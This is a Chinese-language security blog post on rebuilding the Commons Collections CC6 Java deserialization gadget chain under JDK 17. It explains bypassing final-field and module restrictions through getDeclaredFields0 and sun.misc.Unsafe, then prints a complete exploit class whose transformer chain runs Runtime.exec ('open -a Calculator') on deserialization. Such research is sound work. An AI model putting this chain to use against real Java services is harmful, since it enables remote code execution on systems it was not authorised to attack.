banner
NEWS LETTER

JDK17下的CC反序列化

Scroll down

JDK17下的CC反序列化

高版本JDK为什么CC打不动了

当我们用之前的payload去打时,发现会在反射的时候出现问题
图片
我们不能再自由的修改final的值了,这也就导致我们的payload或多或少都会死在某一步

11版本前修改final

我们的思路都是将final修饰符直接删掉,可以通过先获取Field里的modifiers,然后利用modifiers修改我们要修改的变量的修饰符,具体实现如下:

1
2
3
4
5
6
7
8
9
10
#假设有一个final的属性名为a
private final String a="a";
#修改modifiers
Field aField=Main.class.getDeclaredField("a");
aField.setAccessible(true);
Field field=Field.class.getDeclaredField("modifiers");
field.setAccessible(true);
System.out.println(aField.getModifiers());
field.setInt(aField,aField.getModifiers() & ~Modifier.FINAL);
System.out.println(aField.getModifiers());

图片
Java属性的修饰符都是以16进制数存储的
图片

大于11版本下的修改modifiers

高于JDK11这么操作就不行了,从 jdk.internal.reflect.Reflection 第 58 行可以看到,fieldFilterMap 增加了 Field.class 的所有成员,即 Field 下的任何字段都不能直接通过公共反射方法获取。
图片
逻辑上,Class在getDeclaredField时,会调用Reflection去过滤掉Field,但是我们找到了Class里的一个getDeclaredFields0,getDeclaredField也会调用到这里
图片
他可以直接获取我们想要的modifier
图片
那就很好办了,我们通过这个方法去获取modifiers,然后再修改我们想要修改的那个modifier

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Field aField=Main.class.getDeclaredField("a");
aField.setAccessible(true);
Method getDeclaredFields0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
getDeclaredFields0.setAccessible(true);
Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);
Field modifiers = null;
for (Field each : fields) {
if ("modifiers".equals(each.getName())) {
modifiers = each;
}
}
modifiers.setAccessible(true);
System.out.println(aField.getModifiers());
modifiers.setInt(aField,aField.getModifiers() & ~Modifier.FINAL);
System.out.println(aField.getModifiers());

但是由于高版本JDK模块化封装的问题,我们没有办法反射获取该方法
图片
不过我只需要让我们当前代码和要反射的类在同一模块即可
java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class)
图片

1
2
3
4
5
6
7
8
9
10
11
12
public static void patchModule(Class clazz){
try{
Class UnsafeClass=Class.forName("sun.misc.Unsafe");
Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe=(Unsafe) unsafeField.get(null);
Object ObjectModule=Class.class.getMethod("getModule").invoke(Object.class);
Class currentClass=clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
}catch (Exception e){}
}

图片
以cc6为例,我们的代码就可以改写为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception{
patchModule(CC1.class);
patchModule(Transformer.class);
patchModule(LazyMap.class);
patchModule(HashMap.class);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
HashMap map=new HashMap();
map.put("value","value");
Map map1=LazyMap.decorate(map,new ConstantTransformer(1));
// map1.get(1);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map1,"aa");
//tiedMapEntry.getValue();
//tiedMapEntry.hashCode();
HashMap<Object,Object> hashMap1 =new HashMap<>();
hashMap1.put(tiedMapEntry,"value");
map.remove("aa");
Class c=LazyMap.class;
Method getDeclaredFields0method = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
getDeclaredFields0method.setAccessible(true);
Field[] fields = (Field[]) getDeclaredFields0method.invoke(Field.class, false);
Field modifiers = null;
for (Field each : fields) {
if ("modifiers".equals(each.getName())) {
modifiers = each;
}
}
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
modifiers.setAccessible(true);
modifiers.setInt(factoryField,factoryField.getModifiers() & ~Modifier.FINAL);
factoryField.set(map1,chainedTransformer);
// serialize(hashMap1);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(s));
Object object=objectInputStream.readObject();
return object;
}
public static void patchModule(Class clazz){
try{
Class UnsafeClass=Class.forName("sun.misc.Unsafe");
Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe=(Unsafe) unsafeField.get(null);
Object ObjectModule=Class.class.getMethod("getModule").invoke(Object.class);
Class currentClass=clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
}catch (Exception e){}
}
}

图片
那么当然,这只是绕过了我们撰写反序列化时候的限制,事实上,cc6完全可以在低版本JDK下撰写然后放到高版本JDK使用,毕竟cc6用到的类JDK17也都有,而且几乎没有修改

I'm so cute. Please give me money.

Other Articles
目录导航 置顶
  1. 1. JDK17下的CC反序列化
    1. 1.1. 高版本JDK为什么CC打不动了
    2. 1.2. 11版本前修改final
    3. 1.3. 大于11版本下的修改modifiers